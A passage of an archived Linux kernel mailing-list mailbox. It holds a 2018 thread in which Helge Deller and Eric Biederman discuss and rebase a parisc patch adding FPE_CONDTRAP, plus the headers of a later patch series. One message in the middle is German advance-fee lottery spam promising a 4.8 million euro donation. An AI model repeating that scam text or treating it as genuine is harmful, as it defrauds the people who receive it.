 y+fkY1aunkkM6vw1yFqEFX5q3UFX6h4WIWjasVi4M4IuvRy0HlrQx1YwrXH/FaC+pbRJ9cLgP
 gFMv3s9UvwZrDV5B31y9jClGzBpcx5iDaP3C80vDRZ0xtkYToNt4rQYOOg+gd/O4+n839xIGr
 F/Vuzp0/CAlAJn7h1pbkbzZFwhtOhz9RSrtOb/R7lA+P/QEMrCGeccOEHDN3IeS+xCVbGbkNb
 0y1tkaIZCt9lHJsjPihRumukWkjmnmWrMafStm02ILP5FGMo9cnYz13w0EqoQYFwpssnjoBqy
 XY98M3w+K41XwtMwS8jlj5CKeE7Hdjw9O6n+JbCH1l7UJhletUU2/kfONiifNapaO+TDJeIeF
 OXLYJwpxmcdR9gtYNMx/97+4edGnjKvwar94JlvO4zoTEAUOFRSAInd3Brnyj5CfGX5unHB+H
 NyuYO68LqmcwBLVmVvApVbxSLO8rMiEn8IbXyxCuM3fXTQYWXhMnRDA1cBP70uuKlFsgYvPpL
 cJyLMrgHBuEmdfoaED0H5hB+MTXwHTSQQJqFa4mRgb+XtyWIK+ZVF58SZRWhA/FfYrr+PuBgo
 k2Aetcz+p1Lqfih+Ec+7TOowsmwIN1iwX9Z1FQ2A7tQemLlG13alWSAmzefz6MyUMU/rIWR5a
 PqkF1yuC1ZMzXcazJZ1Efrgjsmxe+n3IaaimP0XXWiImYgpbxAyhG59YHVjFgM6j6ld4RkFtx
 Wqs8Zd13p1VjX2dxog/u3evZOrn55Tqa5FwHazLf471l3og7SKgMHjY27a4kvl8FiVBAlxZY 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2665720 gmane.linux.ports.parisc:28269 gmane.linux.kernel.cross-arch:41509
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2665720>

* Eric W. Biederman <ebiederm@xmission.com>:
> Setting si_code to 0 results in a userspace seeing an si_code of 0.
> This is the same si_code as SI_USER.  Posix and common sense requires
> that SI_USER not be a signal specific si_code.  As such this use of 0
> for the si_code is a pretty horribly broken ABI.
> 
> Further use of si_code == 0 guaranteed that copy_siginfo_to_user saw a
> value of __SI_KILL and now sees a value of SIL_KILL with the result
> that uid and pid fields are copied and which might copying the si_addr
> field by accident but certainly not by design.  Making this a very
> flakey implementation.
> 
> Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
> appropriate fields will reliably be copied.
> 
> This bug is 13 years old and parsic machines are no longer being built
> so I don't know if it possible or worth fixing it.  But it is at least
> worth documenting this so other architectures don't make the same
> mistake.


I think we should fix it, even if we now break the ABI.

It's about a "conditional trap" which needs to be handled by userspace.
I doubt there is any Linux code out which is utilizing this
parisc-specific trap.

I'd suggest to add a new FPE trap si_code (e.g. FPE_CONDTRAP).
While at it, maybe we should include the already existing FPE_MDAOVF
from the frv architecture, so that arch/frv/include/uapi/asm/siginfo.h
can go completely.

Suggested patch is below.

I'm willing to test the patch below on the parisc architecture for a few
weeks. And it will break arch/x86/kernel/signal_compat.c which needs
looking at then too.

Thoughts?

Helge



[PATCH] parisc: Add FPE_CONDTRAP for conditional trap handling

Posix and common sense requires that SI_USER not be a signal specific
si_code.  Thus add a new FPE_CONDTRAP si_code for conditional traps.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8453724b8009..13702f0f5ba1 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -627,9 +627,9 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		   on condition  */
 		if(user_mode(regs)){
 			si.si_signo = SIGFPE;
-			/* Set to zero, and let the userspace app figure it out from
-			   the insn pointed to by si_addr */
-			si.si_code = 0;
+			/* Let userspace app figure out from the insn pointed
+			 * to by si_addr */
+			si.si_code = FPE_CONDTRAP;
 			si.si_addr = (void __user *) regs->iaoq[0];
 			force_sig_info(SIGFPE, &si, current);
 			return;
diff --git a/include/uapi/asm-generic/siginfo.h b/include/uapi/asm-generic/siginfo.h
index e447283b8f52..2b759fe42142 100644
--- a/include/uapi/asm-generic/siginfo.h
+++ b/include/uapi/asm-generic/siginfo.h
@@ -193,7 +193,9 @@ typedef struct siginfo {
 #define FPE_FLTRES	6	/* floating point inexact result */
 #define FPE_FLTINV	7	/* floating point invalid operation */
 #define FPE_FLTSUB	8	/* subscript out of range */
-#define NSIGFPE		8
+#define FPE_MDAOVF	9       /* media overflow */
+#define FPE_CONDTRAP	10      /* trap on condition */
+#define NSIGFPE		10
 
 /*
  * SIGSEGV si_codes


From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 04/11] signal/parisc: Document a conflict with SI_USER with SIGFPE
Date: Sat, 13 Jan 2018 15:06:09 -0600
Lines: 114
Approved: news@gmane.org
Message-ID: <878td1xyda.fsf@xmission.com>
References: <87373b6ghs.fsf@xmission.com>
        <20180112005940.23279-4-ebiederm@xmission.com>
        <20180112222944.GA22642@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1515877512 28812 195.159.176.226 (13 Jan 2018 21:05:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Jan 2018 21:05:12 +0000 (UTC)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.1 (gnu/linux)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        linux-kernel@vger.kernel.org, Al Viro <viro@zeniv.linux.org.uk>,
        Oleg Nesterov <oleg@redhat.com>, linux-arch@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-arch-owner@vger.kernel.org Sat Jan 13 22:05:07 2018
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eaSz8-0006nC-BI
	for glka-linux-arch@m.gmane.org; Sat, 13 Jan 2018 22:05:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751767AbeAMVHE (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Sat, 13 Jan 2018 16:07:04 -0500
Original-Received: from out02.mta.xmission.com ([166.70.13.232]:52577 "EHLO
        out02.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751372AbeAMVHC (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Sat, 13 Jan 2018 16:07:02 -0500
Original-Received: from in02.mta.xmission.com ([166.70.13.52])
        by out02.mta.xmission.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eaT10-0000pt-Ov; Sat, 13 Jan 2018 14:06:58 -0700
Original-Received: from 97-121-73-102.omah.qwest.net ([97.121.73.102] helo=x220.xmission.com)
        by in02.mta.xmission.com with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eaT0z-0003hc-4z; Sat, 13 Jan 2018 14:06:58 -0700
In-Reply-To: <20180112222944.GA22642@ls3530.fritz.box> (Helge Deller's message
        of "Fri, 12 Jan 2018 23:29:44 +0100")
X-XM-SPF: eid=1eaT0z-0003hc-4z;;;mid=<878td1xyda.fsf@xmission.com>;;;hst=in02.mta.xmission.com;;;ip=97.121.73.102;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX18pLFztceRajMjNk7j8XXqq8iRUJ/sfMDQ=
X-SA-Exim-Connect-IP: 97.121.73.102
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
        *  0.0 TVD_RCVD_IP Message was received from an IP address
        *  1.5 XMNoVowels Alpha-numberic number with no vowels
        *  0.7 XMSubLong Long Subject
        *  0.0 T_TM2_M_HEADER_IN_MSG BODY: No description available.
        *  0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
        *      [score: 0.5000]
        * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
        *      [sa03 1397; Body=1 Fuz1=1 Fuz2=1]
        *  1.0 XMSubMetaSx_00 1+ Sexy Words
        *  0.0 T_TooManySym_01 4+ unique symbols in subject
X-Spam-DCC: XMission; sa03 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ***;Helge Deller <deller@gmx.de>
X-Spam-Relay-Country: 
X-Spam-Timing: total 1159 ms - load_scoreonly_sql: 0.10 (0.0%),
        signal_user_changed: 3.5 (0.3%), b_tie_ro: 2.4 (0.2%), parse: 1.57 (0.1%),
        extract_message_metadata: 34 (3.0%), get_uri_detail_list: 6 (0.5%),
        tests_pri_-1000: 17 (1.4%), tests_pri_-950: 2.4 (0.2%), tests_pri_-900: 2.0
        (0.2%), tests_pri_-400: 49 (4.2%), check_bayes: 46 (4.0%), b_tokenize: 18
        (1.6%), b_tok_get_all: 13 (1.1%), b_comp_prob: 7 (0.6%), b_tok_touch_all: 3.2
        (0.3%), b_finish: 0.90 (0.1%), tests_pri_0: 1032 (89.1%),
        check_dkim_signature: 1.17 (0.1%), check_dkim_adsp: 5 (0.5%), tests_pri_500:
        10 (0.9%), rewrite_mail: 0.00 (0.0%)
X-SA-Exim-Version: 4.2.1 (built Thu, 05 May 2016 13:38:54 -0600)
X-SA-Exim-Scanned: Yes (on in02.mta.xmission.com)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:41528 gmane.linux.ports.parisc:28270 gmane.linux.kernel:2665964
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/41528>

Helge Deller <deller@gmx.de> writes:

> * Eric W. Biederman <ebiederm@xmission.com>:
>> Setting si_code to 0 results in a userspace seeing an si_code of 0.
>> This is the same si_code as SI_USER.  Posix and common sense requires
>> that SI_USER not be a signal specific si_code.  As such this use of 0
>> for the si_code is a pretty horribly broken ABI.
>> 
>> Further use of si_code == 0 guaranteed that copy_siginfo_to_user saw a
>> value of __SI_KILL and now sees a value of SIL_KILL with the result
>> that uid and pid fields are copied and which might copying the si_addr
>> field by accident but certainly not by design.  Making this a very
>> flakey implementation.
>> 
>> Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
>> appropriate fields will reliably be copied.
>> 
>> This bug is 13 years old and parsic machines are no longer being built
>> so I don't know if it possible or worth fixing it.  But it is at least
>> worth documenting this so other architectures don't make the same
>> mistake.
>
>
> I think we should fix it, even if we now break the ABI.
>
> It's about a "conditional trap" which needs to be handled by userspace.
> I doubt there is any Linux code out which is utilizing this
> parisc-specific trap.
>
> I'd suggest to add a new FPE trap si_code (e.g. FPE_CONDTRAP).
> While at it, maybe we should include the already existing FPE_MDAOVF
> from the frv architecture, so that arch/frv/include/uapi/asm/siginfo.h
> can go completely.
>
> Suggested patch is below.
>
> I'm willing to test the patch below on the parisc architecture for a few
> weeks. And it will break arch/x86/kernel/signal_compat.c which needs
> looking at then too.
>
> Thoughts?

I like it.

We have the option of bringing either the ia64 or the frv si_codes
into the generic fold.  Is there any reason you choose frv?
Last I looked ia64 tended in many aspects to be well thought out,
and thus worth a careful look.

Given that a couple of weeks likely puts on the other side of the merge
window I would like to start with my patch so I can close the potential
copying of unitialized memory to userspace.  Then we can build yours on
top.

Although I am more than happy to add new si_codes now.

What I am in the final stages of testing and reviewing internally is the
change to merge all of struct siginfo, struct compat_siginfo,
copy_siginfo_from_user32 and copy_siginfo_to_user32 together.

I need another couple hours and I will be ready to post that.

For long term maintenance the more we can merge together the better,
as clearly some of these bugs have persisted far too long.  And getting
collapsing the arch specific si_codes into just a set of si_codes
looks like one more good step in that direction.

Eric


> Helge
>
>
>
> [PATCH] parisc: Add FPE_CONDTRAP for conditional trap handling
>
> Posix and common sense requires that SI_USER not be a signal specific
> si_code.  Thus add a new FPE_CONDTRAP si_code for conditional traps.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 8453724b8009..13702f0f5ba1 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -627,9 +627,9 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  		   on condition  */
>  		if(user_mode(regs)){
>  			si.si_signo = SIGFPE;
> -			/* Set to zero, and let the userspace app figure it out from
> -			   the insn pointed to by si_addr */
> -			si.si_code = 0;
> +			/* Let userspace app figure out from the insn pointed
> +			 * to by si_addr */
> +			si.si_code = FPE_CONDTRAP;
>  			si.si_addr = (void __user *) regs->iaoq[0];
>  			force_sig_info(SIGFPE, &si, current);
>  			return;
> diff --git a/include/uapi/asm-generic/siginfo.h b/include/uapi/asm-generic/siginfo.h
> index e447283b8f52..2b759fe42142 100644
> --- a/include/uapi/asm-generic/siginfo.h
> +++ b/include/uapi/asm-generic/siginfo.h
> @@ -193,7 +193,9 @@ typedef struct siginfo {
>  #define FPE_FLTRES	6	/* floating point inexact result */
>  #define FPE_FLTINV	7	/* floating point invalid operation */
>  #define FPE_FLTSUB	8	/* subscript out of range */
> -#define NSIGFPE		8
> +#define FPE_MDAOVF	9       /* media overflow */
> +#define FPE_CONDTRAP	10      /* trap on condition */
> +#define NSIGFPE		10
>  
>  /*
>   * SIGSEGV si_codes


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 04/11] signal/parisc: Document a conflict with SI_USER with SIGFPE
Date: Sat, 13 Jan 2018 19:46:26 -0600
Lines: 132
Approved: news@gmane.org
Message-ID: <87inc5w6tp.fsf@xmission.com>
References: <87373b6ghs.fsf@xmission.com>
        <20180112005940.23279-4-ebiederm@xmission.com>
        <20180112222944.GA22642@ls3530.fritz.box>
        <878td1xyda.fsf@xmission.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1515894332 16089 195.159.176.226 (14 Jan 2018 01:45:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 14 Jan 2018 01:45:32 +0000 (UTC)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.1 (gnu/linux)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        linux-kernel@vger.kernel.org, Al Viro <viro@zeniv.linux.org.uk>,
        Oleg Nesterov <oleg@redhat.com>, linux-arch@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 14 02:45:27 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eaXML-0003I7-SA
	for glpp-linux-parisc@m.gmane.org; Sun, 14 Jan 2018 02:45:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752805AbeANBrU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 13 Jan 2018 20:47:20 -0500
Original-Received: from out02.mta.xmission.com ([166.70.13.232]:40400 "EHLO
        out02.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752103AbeANBrT (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 13 Jan 2018 20:47:19 -0500
Original-Received: from in02.mta.xmission.com ([166.70.13.52])
        by out02.mta.xmission.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eaXOF-0004LM-VH; Sat, 13 Jan 2018 18:47:16 -0700
Original-Received: from 97-121-73-102.omah.qwest.net ([97.121.73.102] helo=x220.xmission.com)
        by in02.mta.xmission.com with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eaXOF-00020m-5O; Sat, 13 Jan 2018 18:47:15 -0700
In-Reply-To: <878td1xyda.fsf@xmission.com> (Eric W. Biederman's message of
        "Sat, 13 Jan 2018 15:06:09 -0600")
X-XM-SPF: eid=1eaXOF-00020m-5O;;;mid=<87inc5w6tp.fsf@xmission.com>;;;hst=in02.mta.xmission.com;;;ip=97.121.73.102;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX19A4vGDsmeLq0UoOpxWrMNTpYrrmlvWEgA=
X-SA-Exim-Connect-IP: 97.121.73.102
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
        *  1.5 XMNoVowels Alpha-numberic number with no vowels
        *  0.7 XMSubLong Long Subject
        *  0.0 TVD_RCVD_IP Message was received from an IP address
        *  0.0 T_TM2_M_HEADER_IN_MSG BODY: No description available.
        *  0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
        *      [score: 0.5000]
        * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
        *      [sa06 1397; Body=1 Fuz1=1 Fuz2=1]
        *  1.0 XMSubMetaSx_00 1+ Sexy Words
        *  0.0 T_TooManySym_01 4+ unique symbols in subject
X-Spam-DCC: XMission; sa06 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ***;Helge Deller <deller@gmx.de>
X-Spam-Relay-Country: 
X-Spam-Timing: total 461 ms - load_scoreonly_sql: 0.04 (0.0%),
        signal_user_changed: 3.1 (0.7%), b_tie_ro: 2.2 (0.5%), parse: 1.21 (0.3%),
        extract_message_metadata: 17 (3.6%), get_uri_detail_list: 3.9 (0.9%),
        tests_pri_-1000: 11 (2.3%), tests_pri_-950: 1.19 (0.3%), tests_pri_-900: 0.98
        (0.2%), tests_pri_-400: 31 (6.7%), check_bayes: 30 (6.4%), b_tokenize: 10
        (2.3%), b_tok_get_all: 10 (2.1%), b_comp_prob: 3.5 (0.8%), b_tok_touch_all:
        3.8 (0.8%), b_finish: 0.67 (0.1%), tests_pri_0: 389 (84.4%),
        check_dkim_signature: 0.52 (0.1%), check_dkim_adsp: 2.6 (0.6%),
        tests_pri_500: 4.1 (0.9%), rewrite_mail: 0.00 (0.0%)
X-SA-Exim-Version: 4.2.1 (built Thu, 05 May 2016 13:38:54 -0600)
X-SA-Exim-Scanned: Yes (on in02.mta.xmission.com)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28271 gmane.linux.kernel:2666008 gmane.linux.kernel.cross-arch:41530
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28271>

ebiederm@xmission.com (Eric W. Biederman) writes:

> Helge Deller <deller@gmx.de> writes:
>
>> * Eric W. Biederman <ebiederm@xmission.com>:
>>> Setting si_code to 0 results in a userspace seeing an si_code of 0.
>>> This is the same si_code as SI_USER.  Posix and common sense requires
>>> that SI_USER not be a signal specific si_code.  As such this use of 0
>>> for the si_code is a pretty horribly broken ABI.
>>> 
>>> Further use of si_code == 0 guaranteed that copy_siginfo_to_user saw a
>>> value of __SI_KILL and now sees a value of SIL_KILL with the result
>>> that uid and pid fields are copied and which might copying the si_addr
>>> field by accident but certainly not by design.  Making this a very
>>> flakey implementation.
>>> 
>>> Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
>>> appropriate fields will reliably be copied.
>>> 
>>> This bug is 13 years old and parsic machines are no longer being built
>>> so I don't know if it possible or worth fixing it.  But it is at least
>>> worth documenting this so other architectures don't make the same
>>> mistake.
>>
>>
>> I think we should fix it, even if we now break the ABI.
>>
>> It's about a "conditional trap" which needs to be handled by userspace.
>> I doubt there is any Linux code out which is utilizing this
>> parisc-specific trap.
>>
>> I'd suggest to add a new FPE trap si_code (e.g. FPE_CONDTRAP).
>> While at it, maybe we should include the already existing FPE_MDAOVF
>> from the frv architecture, so that arch/frv/include/uapi/asm/siginfo.h
>> can go completely.
>>
>> Suggested patch is below.
>>
>> I'm willing to test the patch below on the parisc architecture for a few
>> weeks. And it will break arch/x86/kernel/signal_compat.c which needs
>> looking at then too.
>>
>> Thoughts?
>
> I like it.

Your comments about the si_codes caused me to look into how they differ
across the architectures and realize they also all need to be merged
into uapi/asm-generic/siginfo.h for sanity sake.   In doing so I found
a couple of minor issues with my other unifications.

Rebased onto my tree your patch looks like the below.  If it does not
cause any regressions it looks like a perfect fix.  The noticable change
is that the first FPE si_code available across all architectures is 14
so I have used 14 instead of 10 for FPE_CONDTRAP.

Eric

From: Helge Deller <deller@gmx.de>
Date: Sat, 13 Jan 2018 19:32:43 -0600
Subject: [PATCH] signal/parisc: Add FPE_CONDTRAP for conditional trap handling

Posix and common sense requires that SI_USER not be a signal specific
si_code.  Thus add a new FPE_CONDTRAP si_code for conditional traps.

-- EWB rebased onto my tree.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
---
 arch/parisc/include/uapi/asm/siginfo.h | 7 -------
 arch/parisc/kernel/traps.c             | 7 ++++---
 include/uapi/asm-generic/siginfo.h     | 3 ++-
 3 files changed, 6 insertions(+), 11 deletions(-)

diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/uapi/asm/siginfo.h
index be40331f757d..4a1062e05aaf 100644
--- a/arch/parisc/include/uapi/asm/siginfo.h
+++ b/arch/parisc/include/uapi/asm/siginfo.h
@@ -8,11 +8,4 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGFPE si_codes
- */
-#ifdef __KERNEL__
-#define FPE_FIXME	0	/* Broken dup of SI_USER */
-#endif /* __KERNEL__ */
-
 #endif
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index c919e6c0a687..68e671a11987 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -627,9 +627,10 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		   on condition  */
 		if(user_mode(regs)){
 			si.si_signo = SIGFPE;
-			/* Set to zero, and let the userspace app figure it out from
-			   the insn pointed to by si_addr */
-			si.si_code = FPE_FIXME;
+			/* Let userspace app figure it out from the insn pointed
+			 * to by si_addr.
+			 */
+			si.si_code = FPE_CONDTRAP;
 			si.si_addr = (void __user *) regs->iaoq[0];
 			force_sig_info(SIGFPE, &si, current);
 			return;
diff --git a/include/uapi/asm-generic/siginfo.h b/include/uapi/asm-generic/siginfo.h
index 254afc31e3be..ab4fad1a0cf0 100644
--- a/include/uapi/asm-generic/siginfo.h
+++ b/include/uapi/asm-generic/siginfo.h
@@ -229,7 +229,8 @@ typedef struct siginfo {
 # define __FPE_INVASC	12	/* invalid ASCII digit */
 # define __FPE_INVDEC	13	/* invalid decimal digit */
 #endif
-#define NSIGFPE		13
+#define FPE_CONDTRAP	14	/* trap on condition */
+#define NSIGFPE		14
 
 /*
  * SIGSEGV si_codes
-- 
2.14.1


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Crist <tomaskova@novybydzov.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?Q?Neujahrsspende_von_4.800.000_=E2=82=AC?=
Date: Mon, 15 Jan 2018 23:15:38 +0100 (CET)
Lines: 9
Approved: news@gmane.org
Message-ID: <1913351766.5007.1516054538403.JavaMail.zimbra@novybydzov.cz>
Reply-To: Tom Crist <tomcrist2009@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1516055204 1068 195.159.176.226 (15 Jan 2018 22:26:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Jan 2018 22:26:44 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 15 23:26:37 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ebDDA-0004za-62
	for glpp-linux-parisc@m.gmane.org; Mon, 15 Jan 2018 23:26:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750732AbeAOW2j convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 15 Jan 2018 17:28:39 -0500
Original-Received: from bedna.novybydzov.cz ([85.207.42.126]:40168 "EHLO
        zimbra.novybydzov.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750740AbeAOW2j (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 15 Jan 2018 17:28:39 -0500
X-Greylist: delayed 685 seconds by postgrey-1.27 at vger.kernel.org; Mon, 15 Jan 2018 17:28:39 EST
Original-Received: from localhost (localhost [127.0.0.1])
        by zimbra.novybydzov.cz (Postfix) with ESMTP id 6B6DCAE1E3B;
        Mon, 15 Jan 2018 23:15:44 +0100 (CET)
Original-Received: from zimbra.novybydzov.cz ([127.0.0.1])
        by localhost (zimbra.novybydzov.cz [127.0.0.1]) (amavisd-new, port 10032)
        with ESMTP id aCxFTss4ATfP; Mon, 15 Jan 2018 23:15:44 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
        by zimbra.novybydzov.cz (Postfix) with ESMTP id BCDB7AE1E21;
        Mon, 15 Jan 2018 23:15:41 +0100 (CET)
X-Virus-Scanned: amavisd-new at novybydzov.cz
Original-Received: from zimbra.novybydzov.cz ([127.0.0.1])
        by localhost (zimbra.novybydzov.cz [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id gKRf-kxrbPHh; Mon, 15 Jan 2018 23:15:41 +0100 (CET)
Original-Received: from zimbra.novybydzov.cz (zimbra.novybydzov.cz [192.168.0.19])
        by zimbra.novybydzov.cz (Postfix) with ESMTP id A9AABAE1E0E;
        Mon, 15 Jan 2018 23:15:38 +0100 (CET)
X-Originating-IP: [192.168.0.19]
X-Mailer: Zimbra 8.8.5_GA_1894 (zclient/8.8.5_GA_1894)
Thread-Index: NEcyeBLT4JOAKre0Bk682vm6JeTg7g==
Thread-Topic: Neujahrsspende von 4.800.000 =?utf-8?B?4oKs?=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28272
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28272>



-- 
 Hallo, Sie haben eine Spende von 4.800.000,00 Euro, ich habe die America Lottery in Amerika im Wert von 40 Millionen Dollar gewonnen und ich gebe einen Teil davon an fünf glückliche Menschen und Wohltätigkeits-Häuser in Erinnerung an meine verstorbene Frau, die an Krebs gestorben ist. Kontaktieren Sie mich für weitere Details:(tomcrist2009@gmail.com)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile
Subject: [PATCH v3 00/10] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Mon, 15 Jan 2018 18:18:08 -0800
Lines: 160
Approved: news@gmane.org
Message-ID: <20180116021818.24791-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
